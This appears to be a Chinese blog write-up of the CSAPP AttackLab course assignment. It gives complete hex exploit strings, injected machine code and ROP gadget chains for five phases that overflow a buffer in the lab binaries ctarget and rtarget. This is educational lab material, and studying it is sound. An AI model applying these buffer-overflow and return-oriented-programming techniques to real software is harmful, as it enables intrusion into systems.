CSAPP的AttackLab

AttackLab的实验记录。

  • ctarget有3个使用代码注入(code-injection)的实验。
  • rtarget有2个使用面向返回编程(return-oriented-programming)的实验。

代码注入很简单,就是把自己的指令代码写到缓冲区,然后修改返回地址为注入代码的地址即可,但通常会因为栈随机化和标记可执行代码段而失效。

ROP简单来说就是在已有程序中拼凑出自己需要的指令。通过缓冲区溢出输入不同的指令地址,再通过不断地ret来执行不同片段的指令(叫做gadget)。

phase1

ctarget中test()会调用getbuf()
任务:让getbuf()的返回语句返回touch1()而非test()

要让getbuf返回touch1而非test,只需填满缓冲区后改变原本要返回test()下一语句的返回指令的地址即可。
查看getbuf()的反汇编代码,BUFFER_SIZE大小为0x28(即40)。因此只要随意填充getbuf()的40个字节的缓冲区,然后将之后的字节改为touch1()的起始地址即可。
查看touch1()的反汇编代码,其起始地址为0x4017c0。

最终答案为:

00 00 00 00 00 00 00 00 00 00   /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40                        /* touch1()的地址 */

并将答案写入phase1.txt。

注意小端模式下高字节存储在高位地址

使用./hex2raw < phase1.txt > phase1-raw.txt获得输入字节。使用./ctarget -q -i phase1-raw.txt验证程序。

phase2

touch2()接受一个unsigned参数。
任务:让getbuf()返回touch2()并且输入参数为自己的cookie值。

思路就是将要执行的指令写入缓冲区,然后修改返回地址到缓冲区执行我们自己写的指令。

查看touch2()的反汇编代码,其起始地址为0x4017ec。
我的cookie是0x59b997fa。
因为touch2的参数在%rdi中,因此需要注入的代码如下:

mov     $0x59b997fa, %rdi
push    $0x4017ac
ret

将其写入文件phase2.s,使用gcc -c phase2.sobjdump -d phase2.o > phase2.d得到对应的机器代码:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret    

在gdb中使用print /x $rsp查看getbuf分配的缓冲区的起始地址为0x5561dc78。将原先的返回地址改为该地址即可。

使用gdb ctarget进入调试,但是一开始我使用run指令调试会出现Program received signal SIGSEGV,Segmentation fault错误且不能在正确的断点处中断。将run加上参数run -q -i phase2.txt即可正确调试。

因此最终答案为:

48 c7 c7 fa 97 b9 59    /* 指令 */
68 ec 17 40 00
c3
00 00 00 00 00 00 00    /* 填充 */
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00
78 dc 61 55             /* 输入指令(字符串)的地址 */

phase3

任务:让getbuf()返回touch3(),并且输入参数字符串的位级表示和cookie相等。

查看touch3的起始地址为0x4018fa。
查询ASCII码表,cookie对应的字符串为:35 39 62 39 39 37 66 61 00,因此首先向缓冲区写入这些值,同phase2得到缓冲区的起始地址为0x5561dc78。

注意字符串结束符’\0’的ASCII码即00。

注意如果把cookie写到缓冲区中,可能会在调用hexmatch()时被新分配的缓冲区修改。因此把cookie写到下一个64位的不会被分配的位置0x5561dca8。写入注入指令,代码为:

mov   $0x5561dca8, %rdi  # 参数为字符串首地址
push  $0x4018fa
ret

对应的机器代码为:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	push   $0x4018fa
   c:	c3                   	ret    

最终答案为:

48 c7 c7 a8 dc 61 55          /* 指令 */
68 fa 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 /* 填充 */ 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00       /* 指令地址 */
35 39 62 39 39 37 66 61 00    /* cookie的字符串输入 */

phase4

任务:同phase2,只是在rtarget中使用ROP方法实现。

首先将cookie写入栈中,再将其他指令的地址写入栈中,返回依次执行即可。
构造ROP代码并查看其对应的机器语言如下:

5f    popq   %rdi     # 将栈中的cookie弹出到%rdi
c3    ret            # 将栈中下一条数据写为touch2()的地址并ret

查表得到popq %rdi的机器代码为5f,查找发现farm里面并没有,因此改变思路,先pop到别的寄存器,再mov到%rdi中去:

58          popq   %rax        # 将栈中的cookie弹出到%rax
c3          ret               # 将栈中cookie的下一条数据作为下一条指令的地址返回
48 89 c7    movq   %rax, %rdi  # 将%rax中的cookie写入%rdi
c3          ret               # 将栈中下一条地址写为touch2()的地址并返回

查找需要的机器代码对应的地址分别为:0x4019ab, 0x4019c5。

注意0x90是nop,因此任何机器代码后面的0x90都不影响结果。

最终写入缓冲区的答案为:

00 00 00 00 00 00 00 00 00 00    /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00          /* 返回第一条指令(popq)的地址 */
fa 97 b9 59 00 00 00 00          /* cookie */
c5 19 40 00 00 00 00 00          /* 返回第二条指令(movq)的地址 */
ec 17 40 00 00 00 00 00          /* 返回touch2的地址 */

这么看,通过执行代码地址随机化好像就可以避免ROP攻击了?

phase5

任务:使用ROP实现phase3。

像phase3一样的先写入cookie字符串,再将其起始地址传参的思路是不可行的,因为输入字符串的起始地址是不确定的。但是可以通过mov %rsp得到栈指针,再给他加上一个偏移值就可以实现传参了。gadget中有一段代码lea (%rdi,%rsi,1), %rax可以实现这样的功能。

下面是根据gadget拼凑的汇编代码和其对应的机器语言:

# %rsp -> %rdi
48 89 e0    movq  %rsp, %rax     # 保存当前栈指针
c3          ret
48 89 c7    movq  %rax, %rdi     # gadget中没有直接mov到%rdi的指令,中转一下
c3          ret
# 偏移值 -> %rsi
58          popq  %rax           # 将偏移值弹出到%rax
c3          ret
89 c2       movl  %eax, %edx     # 中转
c3          ret
89 d1       movl  %edx, %ecx     # 中转
c3          ret
89 ce       movl  %ecx, %esi     # 中转
c3          ret
# 获得字符串首地址
58 8d 04 37 lea   (%rdi,%rsi,1), %rax
c3          ret
# 传参
48 89 c7    movq  %rax, %rdi     # 将cookie字符串首地址传参
ret                              # 返回touch3()

ret指令是先跳转再递减%rsp,可以通过计算得到偏移值应为72(0x48)个字节。最终答案为:

00 00 00 00 00 00 00 00 00 00    /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00          /* movq  %rsp, %rax */
/* 保存的栈指针指向下面这句c5处 */
c5 19 40 00 00 00 00 00          /* movq  %rax, %rdi */
ab 19 40 00 00 00 00 00          /* popq  %rax */
48 00 00 00 00 00 00 00          /* 偏移值 */
/* 注意下面这句后面返回前还会执行38 c9,即cmpb %cl %cl,但不会改变寄存器值 */
dd 19 40 00 00 00 00 00          /* movl  %eax, %edx */
34 1a 40 00 00 00 00 00          /* movl  %edx, %ecx */
13 1a 40 00 00 00 00 00          /* movl  %ecx, %esi */
d6 19 40 00 00 00 00 00          /* lea   (%rdi,%rsi,1), %rax */
c5 19 40 00 00 00 00 00          /* movq  %rax, %rdi */
fa 18 40 00 00 00 00 00          /* touch3() */
35 39 62 39 39 37 66 61 00       /* cookie字符串 */
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值